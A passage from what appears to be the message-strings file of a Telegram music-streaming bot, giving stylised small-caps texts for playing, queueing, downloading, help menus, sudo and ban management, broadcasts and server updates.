: "ɴᴏᴛ ᴀ ᴠᴀʟɪᴅ ʏᴏᴜᴛᴜʙᴇ ʟɪɴᴋ." song_6 : "ɢᴇᴛᴛɪɴɢ ꜰᴏʀᴍᴀᴛs...\n\nᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..." song_7 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ɢᴇᴛ ᴀᴠᴀɪʟᴀʙʟᴇ ꜰᴏʀᴍᴀᴛs ꜰᴏʀ ᴛʜᴇ ᴠɪᴅᴇᴏ. ᴘʟᴇᴀsᴇ ᴛʀʏ ᴀɴʏ ᴏᴛʜᴇʀ ᴛʀᴀᴄᴋ." song_8 : "ᴅᴏᴡɴʟᴏᴀᴅ sᴛᴀʀᴛᴇᴅ\n\nᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ ғᴏʀ ғᴇᴡ sᴇᴄᴏɴᴅs..." song_9 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ sᴏɴɢ ꜰʀᴏᴍ ʏᴛ-ᴅʟ\n\n**ʀᴇᴀsᴏɴ:** {0}" song_10 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴜᴘʟᴏᴀᴅ ᴏɴ ᴛᴇʟᴇɢʀᴀᴍ sᴇʀᴠᴇʀs." song_11 : "ᴜᴘʟᴏᴀᴅɪɴɢ sᴛᴀʀᴛᴇᴅ ʙᴀʙʏ\n\nᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ..." play_1 : "✨ 𝑷𝒓𝒐𝒄𝒆𝒔𝒔𝒊𝒏𝒈....🥀" play_2 : "➻ ᴄʜᴀɴɴᴇʟ ᴘʟᴀʏ ᴍᴏᴅᴇ\n\nᴘʀᴏᴄᴇssɪɴɢ, ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\n\nʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ : {0}" play_3 : "» ғᴀɪʟᴇᴅ ᴛᴏ ᴘʀᴏᴄᴇss ǫᴜᴇʀʏ." play_4 : "ᴀᴅᴍɪɴs ᴏɴʟʏ ᴘʟᴀʏ\nᴏɴʟʏ ᴀᴅᴍɪɴs ᴏғ ᴛʜɪs ᴄʜᴀᴛ ᴀʀᴇ ᴀʟʟᴏᴡᴇᴅ ᴛᴏ ᴘʟᴀʏ\n\nᴄʜᴀɴɢᴇ ᴘʟᴀʏ ᴍᴏᴅᴇ ᴠɪᴀ /playmode" play_5 : "» ғᴀɪʟᴇᴅ ᴛᴏ ᴘʀᴏᴄᴇss ᴀᴜᴅɪᴏ ғɪʟᴇ.\n\nᴀᴜᴅɪᴏ ғɪʟᴇ sɪᴢᴇ ɪs ʟᴀʀɢᴇʀ ᴛʜᴀɴ ᴛʜᴇ ᴅᴇғɪɴᴇᴅ ʟɪᴍɪᴛ." play_6 : "» sᴛʀᴇᴀᴍ's ʟᴏɴɢᴇʀ ᴛʜᴀɴ {0} ᴀʀᴇɴ'ᴛ ᴀʟʟᴏᴡᴇᴅ ᴛᴏ ᴘʟᴀʏ ᴏɴ {1}" play_7 : "» ɴᴏᴛ ᴀ ᴠᴀʟɪᴅ ᴠɪᴅᴇᴏ ғɪʟᴇ ᴇxᴛᴇɴsɪᴏɴ.\n\nsᴜᴘᴘᴏʀᴛᴇᴅ ᴇxᴛᴇɴsɪᴏɴs : {0}" play_8 : "» ᴠɪᴅᴇᴏ ғɪʟᴇ sɪᴢᴇ sʜᴏᴜʟᴅ ʙᴇ ʟᴇss ᴛʜᴀɴ 1ɢɪʙ." play_9 : "ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ ғᴇᴀᴛᴜʀᴇ\n\nsᴇʟᴇᴄᴛ ᴛʜᴇ ᴍᴏᴅᴇ ɪɴ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴘʟᴀʏ ᴡʜᴏʟᴇ ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ." play_10 : "ᴛɪᴛʟᴇ : {0}\nᴅᴜʀᴀᴛɪᴏɴ : {1} ᴍɪɴᴜᴛᴇs" play_11 : "{0} sᴘᴏᴛɪғʏ ᴘʟᴀʏᴇʀ\n\nʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {1}" play_12 : "{0} ᴀᴘᴘʟᴇ ᴘʟᴀʏᴇʀ\n\nʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {1}" play_13 : "» ʟɪᴠᴇ sᴛʀᴇᴀᴍ ᴅᴇᴛᴇᴄᴛᴇᴅ.\n\nᴀʀᴇ ʏᴏᴜ sᴜʀᴇ ᴛʜᴀᴛ ʏᴏᴜ ᴡᴀɴɴᴀ ᴘʟᴀʏ ᴛʜɪs ʟɪᴠᴇ sᴛʀᴇᴀᴍ ?" play_14 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ꜰᴇᴛᴄʜ ᴛʀᴀᴄᴋ ᴅᴇᴛᴀɪʟs.\n\nᴛʀʏ ᴘʟᴀʏɪɴɢ ᴀɴʏ ᴏᴛʜᴇʀ." play_15 : "» ғᴀɪʟᴇᴅ ᴛᴏ ᴘʀᴏᴄᴇss ǫᴜᴇʀʏ.\n\nɪ ᴄᴀɴ ᴏɴʟʏ ᴘʟᴀʏ sᴘᴏᴛɪғʏ ᴛʀᴀᴄᴋs, ᴀʟʙᴜᴍs, ᴀʀᴛɪsᴛs ᴀɴᴅ ᴘʟᴀʏʟɪsᴛs." play_16 : "ɴᴏ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛ.\n\nᴛᴏ ᴜsᴇ ғᴏʀᴄᴇ ᴩʟᴀʏ, ᴛʜᴇʀᴇ ᴍᴜsᴛ ʙᴇ ᴀɴ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇᴄʜᴀᴛ." play_17 : "ᴘʟᴇᴀsᴇ ᴛᴜʀɴ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ, ɪ'ᴍ ᴜɴᴀʙʟᴇ ᴛᴏ sᴛʀᴇᴀᴍ ᴜʀʟs." play_18 : "ᴜsᴀɢᴇ : /play [sᴏɴɢ ɴᴀᴍᴇ/ʏᴏᴜᴛᴜʙᴇ ᴜʀʟ/ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴀᴜᴅɪᴏ/ᴠɪᴅᴇᴏ ғɪʟᴇ]" play_19 : "Queued Playlist :" play_20 : "Queued Position-" play_21 : "ᴀᴅᴅᴇᴅ {0} ᴛʀᴀᴄᴋs ᴛᴏ ǫᴜᴇᴜᴇ.\n\nᴄʜᴇᴄᴋ : ᴄʟɪᴄᴋ ʜᴇʀᴇ" play_22 : "sᴇʟᴇᴄᴛ ᴛʜᴇ ᴍᴏᴅᴇ ɪɴ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴘʟᴀʏ ᴛʜᴇ ǫᴜᴇʀɪᴇs ɪɴsɪᴅᴇ ʏᴏᴜʀ ɢʀᴏᴜᴘ : {0}" help_1 : "ᴄʜᴏᴏsᴇ ᴛʜᴇ ᴄᴀᴛᴇɢᴏʀʏ ғᴏʀ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴɴᴀ ɢᴇᴛ ʜᴇʟᴩ.\nᴀsᴋ ʏᴏᴜʀ ᴅᴏᴜʙᴛs ᴀᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ\n\nᴀʟʟ ᴄᴏᴍᴍᴀɴᴅs ᴄᴀɴ ʙᴇ ᴜsᴇᴅ ᴡɪᴛʜ : /" help_2 : "ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴛᴏ ɢᴇᴛ ᴍʏ ʜᴇʟᴘ ᴍᴇɴᴜ ɪɴ ʏᴏᴜʀ ᴘᴍ." str_1 : "ᴘʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ ᴍ3ᴜ8 ᴏʀ ɪɴᴅᴇx ʟɪɴᴋs." str_2 : "➻ ᴠᴀʟɪᴅ sᴛʀᴇᴀᴍ ᴠᴇʀɪғɪᴇᴅ.\n\nᴘʀᴏᴄᴇssɪɴɢ..." str_3 : "ғᴀɪʟᴇᴅ ᴛᴏ sᴛʀᴇᴀᴍ ʏᴏᴜᴛᴜʙᴇ ʟɪᴠᴇ sᴛʀᴇᴀᴍ, ɴᴏ ʟɪᴠᴇ ꜰᴏʀᴍᴀᴛ ꜰᴏᴜɴᴅ." ping_1 : "{0} ɪs ᴘɪɴɢɪɴɢ..." ping_2 : "🏓 ᴩᴏɴɢ : {0}ᴍs\n\n{1} sʏsᴛᴇᴍ sᴛᴀᴛs :\n\n✨ ᴜᴩᴛɪᴍᴇ : {2}\n❄️ ʀᴀᴍ : {3}\n💫 ᴄᴩᴜ : {4}\n🔮 ᴅɪsᴋ : {5}\n☁️ ᴩʏ-ᴛɢᴄᴀʟʟs : {6}ᴍs" queue_1 : "» ғᴇᴛᴄʜɪɴɢ ǫᴜᴇᴜᴇ...\n\nᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..." queue_2 : "» ǫᴜᴇᴜᴇ ᴇᴍᴘᴛʏ." queue_3 : "» ᴄʟɪᴄᴋ ʜᴇʀᴇ ᴛᴏ ᴄʜᴇᴄᴋ ᴛʜᴇ ʟɪsᴛ ᴏғ ᴛʜᴇ ǫᴜᴇᴜᴇᴅ ᴛʀᴀᴄᴋs : ʜᴇʀᴇ" queue_4 : "➲ Aᴅᴅᴇᴅ Tᴏ Qᴜᴇᴜᴇ Aᴛ #{0}\n\n‣ Tɪᴛʟᴇ : {1}\n‣ Dᴜʀᴀᴛɪᴏɴ : {2} ᴍɪɴᴜᴛᴇs\n‣ Rᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {3}" queue_5 : "ᴛʜᴇʀᴇ's ᴏɴʟʏ ᴏɴᴇ ǫᴜᴇᴜᴇᴅ ᴛʀᴀᴄᴋ ɪɴ ᴘʟᴀʏʟɪsᴛ.\n\nᴀᴅᴅ ᴍᴏʀᴇ ᴛʀᴀᴄᴋs ᴛᴏ ᴄʜᴇᴄᴋ ʟɪsᴛ." queue_6 : "🕚 ᴅᴜʀᴀᴛɪᴏɴ : ᴜɴᴋɴᴏᴡɴ ᴅᴜʀᴀᴛɪᴏɴ sᴛʀᴇᴀᴍ\n\nᴄʟɪᴄᴋ ᴏɴ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴛᴏ ɢᴇᴛ ᴡʜᴏʟᴇ ǫᴜᴇᴜᴇᴅ ʟɪsᴛ." queue_7 : "\nᴄʟɪᴄᴋ ᴏɴ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴛᴏ ɢᴇᴛ ᴡʜᴏʟᴇ ǫᴜᴇᴜᴇᴅ ʟɪsᴛ." queue_8 : "{0} ᴘʟᴀʏᴇʀ\n\n🎄 sᴛʀᴇᴀᴍɪɴɢ : {1}\n\n🔗 sᴛʀᴇᴀᴍ ᴛʏᴘᴇ : {2}\n🥀 ʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {3}\n{4}" stream_1 : "
➲ Bʀᴀɴᴅᴇᴅ Sᴛᴀʀᴛᴇᴅ Sᴛʀᴇᴀᴍɪɴɢ |
\n\n
➠ Tɪᴛʟᴇ : {1}\n➠ Dᴜʀᴀᴛɪᴏɴ : {2} ᴍɪɴᴜᴛᴇs\n➠ Rᴇǫᴜᴇsᴛᴇᴅ ʙʏ {3}
\n
➠ ϻᴧᴅє ʙʏ ➛ [𝗕𝗥𝗔𝗡𝗗𝗘𝗗 𝗞𝗜𝗡𝗚](https://t.me/BRANDEDKING8)
" stream_2 : "
➲ Bʀᴀɴᴅᴇᴅ Sᴛᴀʀᴛᴇᴅ Sᴛʀᴇᴀᴍɪɴɢ |
\n\n
➠ Sᴛʀᴇᴀᴍ ᴛʏᴘᴇ : ʟɪᴠᴇ sᴛʀᴇᴀᴍ [ᴜʀʟ]\n➠ Rᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {0}
" #General CLOSE_BUTTON : "↻ ᴄʟᴏsᴇ ↻" CLOSEMENU_BUTTON : "↻ ᴄʟᴏsᴇ ↻" BACK_BUTTON : "↻ ʙᴀᴄᴋ ↻" NEXT_PAGE: "▷" BACK_PAGE: "◁" UNBAN_BUTTON : "• ᴜɴʙᴀɴ •" #Lyrics L_B_1 : "🚀 ᴄʜᴇᴄᴋᴏᴜᴛ ʟʏʀɪᴄs ɴᴏᴡ" #PlaylistButtons PL_B_1 : "🌌 ᴘʟᴀʏʟɪsᴛ 🌌" PL_B_2 : "• ᴘʟᴀʏʟɪsᴛs •" PL_B_3 : "• ᴍᴇɴᴜ •" PL_B_4 : "🎧 ᴘʟᴀʏ ᴍᴏᴅᴇ" PL_B_5 : "🗑 ᴅᴇʟᴇᴛᴇ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ" PL_B_6 : "🗑 ᴅᴇʟᴇᴛᴇ ᴘʟᴀʏʟɪsᴛ" PL_B_7 : "🥺 ʏᴇᴀʜ, ᴅᴇʟᴇᴛᴇ ɪᴛ" PL_B_8 : "🔢 ᴘʟᴀʏ ᴛᴏᴘ 10" PL_B_9 : "🔥 ᴘʟᴀʏ ɢʟᴏʙᴀʟ ᴛᴏᴘ 10 ᴛʀᴀᴄᴋs" PL_B_10 : "🏘 ᴘʟᴀʏ ɢʀᴏᴜᴘ's ᴛᴏᴘ 10 ᴛʀᴀᴄᴋs" PL_B_11 : "💖 ᴘʟᴀʏ ᴘᴇʀsᴏɴᴀʟ ᴛᴏᴘ 10 ᴛʀᴀᴄᴋs" #Song SG_B_1 : "• ᴄʟɪᴄᴋ ʜᴇʀᴇ •" SG_B_2 : "🎧 ᴀᴜᴅɪᴏ 🎧" SG_B_3 : "🎥 ᴠɪᴅᴇᴏ 🎥" # Start S_B_1 : "ᴀᴅᴅ ᴍᴇ" S_B_2 : "sᴜᴘᴘᴏʀᴛ" S_B_3 : "ᴀᴅᴅ ᴍᴇ ᴛᴏ ʏᴏᴜʀ ɢʀᴏᴜᴘ" S_B_4 : "ʜᴇʟᴘ ᴀɴᴅ ᴄᴏᴍᴍᴀɴᴅ" S_B_5 : "ᴏᴡɴᴇʀ" S_B_6 : "ᴄʜᴀɴɴᴇʟ" S_B_8 : "ʏᴏᴜᴛᴜʙᴇ" S_B_9 : "sᴜᴩᴩᴏʀᴛ" H_B_1 : "Aᴅᴍɪɴ" H_B_2 : "Aᴜᴛʜ" H_B_3 : "Bʀᴏᴀᴅᴄᴀsᴛ" H_B_4 : "Bʟ-Cʜᴀᴛ" H_B_5 : "Bʟ-Usᴇʀ" H_B_6 : "C-Pʟᴀʏ" H_B_7 : "G-Bᴀɴ" H_B_8 : "Lᴏᴏᴘ" H_B_9 : "Mᴀɪɴᴛᴇɴᴀɴᴄᴇ" H_B_10 : "Pɪɴɢ" H_B_11 : "Pʟᴀʏ" H_B_12 : "Sʜᴜғғʟᴇ" H_B_13 : "Sᴇᴇᴋ" H_B_14 : "Sᴏɴɢ" H_B_15 : "Sᴘᴇᴇᴅ" H_B_16 : "ɢᴘᴛ" H_B_17 : "Rᴇᴇʟ" H_B_18 : "ᴛᴀɢ-ᴀʟʟ" H_B_19 : "ɪɴғᴏ" H_B_20 : "Hɪsᴛᴏʀʏ" H_B_21 : "ᴇxᴛʀᴀ" H_B_22 : "ɪᴍᴀɢᴇ" H_B_23 : "ᴀᴄᴛɪᴏɴ" H_B_24 : "sᴇᴀʀᴄʜ" P_B_1 : "⛦ ᴀᴜᴅɪᴏ " P_B_2 : " ᴠɪᴅᴇᴏ 🥀" P_B_3 : "⛦ ʟɪᴠᴇ sᴛʀᴇᴀᴍ " P_B_4 : " ɴᴏʀᴍᴀʟ 🥀" ST_B_1 : "Aᴜᴛʜ ᴜsᴇʀs" ST_B_2 : "Pʟᴀʏ ᴍᴏᴅᴇ" ST_B_3 : "Lᴀɴɢᴜᴀɢᴇ" ST_B_4 : "Vᴏᴛɪɴɢ ᴍᴏᴅᴇ" ST_B_5 : "ᴏɴ" ST_B_6 : "ᴏғғ" ST_B_7 : "Aᴜᴛʜ ᴜsᴇʀs ➜" ST_B_8 : "ᴀᴅᴍɪɴs" ST_B_9 : "ᴇᴠᴇʀʏᴏɴᴇ" ST_B_10 : "Sᴇᴀʀᴄʜ ᴍᴏᴅᴇ ➜" ST_B_11 : "ᴅɪʀᴇᴄᴛ" ST_B_12 : "ɪɴʟɪɴᴇ" ST_B_13 : "Aᴅᴍɪɴ ᴄᴍᴅs ➜" ST_B_14 : "Pʟᴀʏ ᴛʏᴘᴇ ➜" SA_B_1 : "ᴏᴠᴇʀᴀʟʟ sᴛᴀᴛs" SA_B_2 : "☁️ ɢᴇɴᴇʀᴀʟ" SA_B_3 : "🔮 ᴏᴠᴇʀᴀʟʟ" QU_B_1 : "ǫᴜᴇᴜᴇ" QU_B_2 : " {0} —————————— {1}" sudo_1 : "» {0} ɪs ᴀʟʀᴇᴀᴅʏ ɪɴ sᴜᴅᴏ ᴜsᴇʀs ʟɪsᴛ." sudo_2 : "» ᴀᴅᴅᴇᴅ {0} ᴛᴏ sᴜᴅᴏ ᴜsᴇʀs ʟɪsᴛ." sudo_3 : "» {0} ɪs ɴᴏᴛ ɪɴ sᴜᴅᴏ ᴜsᴇʀs ʟɪsᴛ." sudo_4 : "» ʀᴇᴍᴏᴠᴇᴅ {0} ғʀᴏᴍ sᴜᴅᴏ ᴜsᴇʀs ʟɪsᴛ." sudo_5 : "🥀 ᴏᴡɴᴇʀ :\n" sudo_6 : "\n✨ sᴜᴅᴏ ᴜsᴇʀs :\n" sudo_7 : "» ɴᴏ sᴜᴅᴏ ᴜsᴇʀs ғᴏᴜɴᴅ." sudo_8 : "ғᴀɪʟᴇᴅ." block_1 : "» {0} ɪs ᴀʟʀᴇᴀᴅʏ ʙʟᴏᴄᴋᴇᴅ ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ." block_2 : "» ᴀᴅᴅᴇᴅ {0} ᴛᴏ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ʟɪsᴛ." block_3 : "» {0} ɪs ɴᴏᴛ ɪɴ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ʟɪsᴛ." block_4 : "» ʀᴇᴍᴏᴠᴇᴅ {0} ғʀᴏᴍ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ʟɪsᴛ." block_5 : "» ɴᴏ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ғᴏᴜɴᴅ." block_6 : "» ɢᴇᴛᴛɪɴɢ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ʟɪsᴛ..." block_7 : "😫 ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs :\n\n" black_1 : "ᴇxᴀᴍᴘʟᴇ :\n\n/blacklistchat [ᴄʜᴀᴛ ɪᴅ]" black_2 : "» ᴛʜɪs ᴄʜᴀᴛ ɪs ᴀʟʀᴇᴀᴅʏ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ." black_3 : "» sᴜᴄᴄᴇssғᴜʟʟʏ ᴀᴅᴅᴇᴅ ᴛᴏ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs." black_4 : "ᴇxᴀᴍᴘʟᴇ :\n\n/whitelistchat [ᴄʜᴀᴛ ɪᴅ]" black_5 : "» ᴛʜɪs ᴄʜᴀᴛ ɪs ɴᴏᴛ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ." black_6 : "» sᴜᴄᴄᴇssғᴜʟʟʏ ʀᴇᴍᴏᴠᴇᴅ ғʀᴏᴍ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs." black_7 : "» ʟɪsᴛ ᴏғ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs :\n\n" black_8 : "» ɴᴏ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs ᴏɴ {0}." black_9 : "» sᴏᴍᴇᴛʜɪɴɢ ᴡᴇɴᴛ ᴡʀᴏɴɢ." maint_1 : "ᴇxᴀᴍᴘʟᴇ :\n/maintenance [ᴇɴᴀʙʟᴇ | ᴅɪsᴀʙʟᴇ]" maint_2 : "» {0} ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ᴇɴᴀʙʟᴇᴅ." maint_3 : "» {0} ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ᴅɪsᴀʙʟᴇᴅ." maint_4 : "» ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ɪs ᴀʟʀᴇᴀᴅʏ ᴇɴᴀʙʟᴇᴅ." maint_5 : "» ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ɪs ᴀʟʀᴇᴀᴅʏ ᴅɪsᴀʙʟᴇᴅ." log_1 : "ᴇxᴀᴍᴘʟᴇ :\n/logger [ᴇɴᴀʙʟᴇ | ᴅɪsᴀʙʟᴇ]" log_2 : "ᴇɴᴀʙʟᴇᴅ ʟᴏɢɢɪɴɢ." log_3 : "ᴅɪsᴀʙʟᴇᴅ ʟᴏɢɢɪɴɢ." broad_1 : "» sᴛᴀʀᴛᴇᴅ ʙʀᴏᴀᴅᴄᴀsᴛɪɴɢ..." broad_2 : "ᴇxᴀᴍᴘʟᴇ :\n\n/broadcast [ᴍᴇssᴀɢᴇ ᴏʀ ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ]" broad_3 : "» ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ᴍᴇssᴀɢᴇ ᴛᴏ {0} ᴄʜᴀᴛs ᴡɪᴛʜ {1} ᴘɪɴs ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ." broad_4 : "» ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ᴍᴇssᴀɢᴇ ᴛᴏ {0} ᴜsᴇʀs." broad_5 : "» sᴛᴀʀᴛɪɴɢ ᴀssɪsᴛᴀɴᴛ ʙʀᴏᴀᴅᴄᴀsᴛ..." broad_6 : "➻ ᴀssɪsᴛᴀɴᴛ ʙʀᴏᴀᴅᴄᴀsᴛ :\n\n" broad_7 : "↬ ᴀssɪsᴛᴀɴᴛ {0} ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ɪɴ {1} ᴄʜᴀᴛs." broad_8 : "» ᴘʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴛᴏ ʙʀᴏᴀᴅᴄᴀsᴛ." server_1 : "» ғᴀɪʟᴇᴅ ᴛᴏ ɢᴇᴛ ʟᴏɢs." server_2 : "ᴘʟᴇᴀsᴇ ᴍᴀᴋᴇ sᴜʀᴇ ᴛʜᴀᴛ ʏᴏᴜʀ ʜᴇʀᴏᴋᴜ ᴀᴘɪ ᴋᴇʏ ᴀɴᴅ ᴀᴘᴘ ɴᴀᴍᴇ ᴀʀᴇ ᴄᴏɴғɪɢᴜʀᴇᴅ ᴄᴏʀʀᴇᴄᴛʟʏ." server_3 : "ᴄʜᴇᴄᴋɪɴɢ ꜰᴏʀ ᴀᴠᴀɪʟᴀʙʟᴇ ᴜᴘᴅᴀᴛᴇs..." server_4 : "ɢɪᴛ ᴄᴏᴍᴍᴀɴᴅ ᴇʀʀᴏʀ." server_5 : "ɪɴᴠᴀʟɪᴅ ɢɪᴛ ʀᴇᴘsɪᴛᴏʀʏ." server_6 : "» ʙᴏᴛ ɪs ᴜᴘ-ᴛᴏ-ᴅᴀᴛᴇ." server_7 : "» ʙᴏᴛ ᴜᴩᴅᴀᴛᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ ! ɴᴏᴡ ᴡᴀɪᴛ ғᴏʀ ғᴇᴡ ᴍɪɴᴜᴛᴇs ᴜɴᴛɪʟ ᴛʜᴇ ʙᴏᴛ ʀᴇsᴛᴀʀᴛs ᴀɴᴅ ᴩᴜsʜ ᴄʜᴀɴɢᴇs !" server_8 : "{0} ɪs ʀᴇsᴛᴀʀᴛɪɴɢ...\n\nʏᴏᴜ ᴄᴀɴ sᴛᴀʀᴛ ᴩʟᴀʏɪɴɢ ᴀɢᴀɪɴ ᴀғᴛᴇʀ 15-20 sᴇᴄᴏɴᴅs." server_9 : "sᴏᴍᴇᴛʜɪɴɢ ᴡᴇɴᴛ ᴡʀᴏɴɢ, ᴩʟᴇᴀsᴇ ᴄʜᴇᴄᴋ ʟᴏɢs." server_10 : "ᴀɴ ᴇxᴄᴇᴩᴛɪᴏɴ ᴏᴄᴄᴜʀᴇᴅ ᴀᴛ #ᴜᴩᴅᴀᴛᴇʀ ᴅᴜᴇ ᴛᴏ : {0}" server_11 : "» ʀᴜɴɴɪɴɢ ᴀ sᴘᴇᴇᴅᴛᴇsᴛ..." server_12 : "⇆ ʀᴜɴɴɪɴɢ ᴅᴏᴡɴʟᴏᴀᴅ sᴩᴇᴇᴅᴛᴇsᴛ..." server_13 : "⇆ ʀᴜɴɴɪɴɢ ᴜᴩʟᴏᴀᴅ sᴩᴇᴇᴅᴛᴇsᴛ..." server_14 : "↻ sʜᴀʀɪɴɢ sᴩᴇᴇᴅᴛᴇsᴛ ʀᴇsᴜʟᴛs..." server_15 : "✯ sᴩᴇᴇᴅᴛᴇsᴛ ʀᴇsᴜʟᴛs ✯\n\nᴄʟɪᴇɴᴛ :\n» ɪsᴩ : {0}\n» ᴄᴏᴜɴᴛʀʏ : {1}\n\nsᴇʀᴠᴇʀ :\n» ɴᴀᴍᴇ : {2}\n» ᴄᴏᴜɴᴛʀʏ : {3}, {4}\n» sᴩᴏɴsᴏʀ : {5}\n» ʟᴀᴛᴇɴᴄʏ : {6}\n» ᴩɪɴɢ : {7}" gban_1 : "» ᴡʜʏ ᴅɪᴅ ʏᴏᴜ ᴡᴀɴɴᴀ ɢʙᴀɴ ʏᴏᴜʀsᴇʟғ ʙᴀʙʏ ?" gban_2 : "» ᴡʜʏ sʜᴏᴜʟᴅ ɪ ɢʙᴀɴ ᴍʏsᴇʟғ ?" gban_3 : "» ʏᴏᴜ ᴄᴀɴ'ᴛ ɢʙᴀɴ ᴍʏ sᴜᴅᴏᴇʀs." gban_4 : "» {0} ɪs ᴀʟʀᴇᴀᴅʏ ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ." gban_5 : "» ɪɴɪᴛɪᴀʟɪᴢɪɴɢ ɢʟᴏʙᴀʟ ʙᴀɴ ᴏɴ {0}.\n\nᴛɪᴍᴇ ᴇxᴘᴇᴄᴛᴇᴅ : {1}" gban_6 : "ɴᴇᴡ ɢʟᴏʙᴀʟ ʙᴀɴ ᴏɴ {0} :\n\nᴏʀɪɢɪɴᴀᴛᴇᴅ ғʀᴏᴍ : {1} [{2}]\nᴜsᴇʀ : {3}\nᴜsᴇʀ ɪᴅ : {4}\n\nʙᴀɴɴᴇᴅ ʙʏ : {5}\nᴄʜᴀᴛs : {6}" gban_7 : "» {0} ɪs ɴᴏᴛ ɢʙᴀɴɴᴇᴅ ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ." gban_8 : "» ʟɪғᴛɪɴɢ ɢʟᴏʙᴀʟ ʙᴀɴ ғʀᴏᴍ {0}.\n\nᴇxᴘᴇᴄᴛᴇᴅ ᴛɪᴍᴇ : {1}" gban_9 : "» ʟɪғᴛᴇᴅ ɢʟᴏʙᴀʟ ʙᴀɴ ғʀᴏᴍ {0}.\n\nᴜɴʙᴀɴɴᴇᴅ ɪɴ {1} ᴄʜᴀᴛs." gban_10 : "» ɴᴏ ᴏɴᴇ ɪs ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ." gban_11 : "» ғᴇᴛᴄʜɪɴɢ ɢʙᴀɴɴᴇᴅ ᴜsᴇʀs ʟɪsᴛ..." gban_12 : "🙂 ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ᴜsᴇʀs :\n\n" gban_log : "乛🖇️ 𝙉𝙚𝙬 𝙂𝙡𝙤𝙗𝙖𝙡 𝘽𝙖𝙣 ~\n°───────❅───────°\n\n❄️ 𝘎𝘣𝘢𝘯𝘯𝘦𝘥 𝘉𝘺 ~ {0} [ @{1} ] !\n• ─────── •\n☘️ 𝘉𝘢𝘯𝘯𝘦𝘥 𝘜𝘴𝘦𝘳 ~ {2} !\n• ─────── •\n🍂 𝘞𝘪𝘵𝘩 𝘙𝘦𝘢𝘴𝘰𝘯 ~ {3}\n\n•───────────────────•" gban_warning : "🖇️ {0} Is ɢʙᴀɴɴᴇᴅ..!!\n\n[⚠️] Iғ ʏᴏᴜ ɢɪᴠᴇ ɢʙᴀɴ ᴡɪᴛʜᴏᴜᴛ ᴀɴʏ ᴠᴀʟɪᴅ ʀᴇᴀsᴏɴ ʏᴏᴜ ᴡɪʟʟ ʙᴇ ʀᴇᴍᴏᴠᴇᴅ ғʀᴏᴍ sᴜᴅᴏ ᴜsᴇʀ. Sᴏ ʙᴇ ᴄᴀʀᴇғᴜʟʟ..!!\n\n 🍂 Rᴇɢᴀʀᴅs ~ @BRANDRD_BOT" ugban_log : "乛🌿 𝙉𝙚𝙬 𝙐𝙣-𝙂𝙗𝙖𝙣𝙣𝙚𝙙 